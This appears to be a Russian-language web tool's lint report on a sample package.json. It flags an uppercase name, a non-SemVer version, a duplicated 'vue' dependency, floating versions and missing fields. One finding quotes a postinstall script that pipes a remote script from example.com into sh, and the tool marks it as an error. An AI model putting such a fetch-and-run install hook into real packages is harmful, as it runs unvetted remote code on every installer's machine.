Конвертеры и генераторы кода
Анализ package.json
Проверяет обязательные поля, дубли зависимостей, плавающие версии и опасные скрипты.
Ошибки
4
Предупреждения
6
Замечания
6
Пакет
- Имя
- My-Shop
- Версия
- 1.0
- Лицензия
- —
- Тип модулей
- commonjs (по умолчанию)
- Приватный
- нет
- Скриптов
- 2
- Зависимостей
- 4
- Для разработки
- 2
- Всего пакетов
- 6
Что нашлось
Имя «My-Shop» недопустимо: заглавные буквы в имени запрещены
ошибкаnpm принимает только строчные буквы, цифры, дефис, точку, подчёркивание и тильду.
name
Версия «1.0» не по SemVer
ошибкаОжидается major.minor.patch, например 1.4.2 или 2.0.0-rc.1.
version
«vue» и в dependencies, и в devDependencies
ошибкаПри установке победит dependencies, а разработчик будет читать devDependencies — расхождение обеспечено.
vue
Скрипт «postinstall»: скачивание и немедленный запуск скрипта из сети
ошибкаcurl -sL https://example.com/setup.sh | sh
scripts.postinstall
Не указана лицензия
предупреждениеБез license npm при публикации ставит пометку UNLICENSED.
license
Нет ни main, ни exports, ни bin
предупреждениеНепонятно, что импортируется при require/import этого пакета.
main
«lodash»: версия «*»
предупреждениеСборка перестаёт быть воспроизводимой: завтра приедет другой код.
dependencies.lodash
«axios»: версия «latest»
предупреждениеСборка перестаёт быть воспроизводимой: завтра приедет другой код.
dependencies.axios
Скрипт «postinstall» запускается сам при установке
предупреждениеПроверьте, что там ровно то, что нужно: этот код выполнится у каждого, кто поставит пакет.
scripts.postinstall
Есть workspaces, но пакет не private
предупреждениеКорень монорепозитория почти всегда должен быть приватным.
workspaces
Нет описания
замечаниеdescription показывается в поиске npm и в списке зависимостей.
description
Нет ссылки на репозиторий
замечаниеПоле repository включает ссылку «Repository» на странице пакета.
repository
Не задан engines.node
замечаниеБез него нечем предупредить о слишком старой Node.
engines
«internal-lib» ставится не из npm: git+ssh://git@example.com/internal-lib.git
замечаниеТакая зависимость не проверяется аудитом и может исчезнуть.
dependencies.internal-lib
Зависимости не по алфавиту
замечаниеnpm сам сортирует их при установке — в следующем коммите будет лишний шум.
dependencies
Нет скрипта test
замечаниеДаже заглушка полезнее отсутствия: она видна в CI.
scripts.test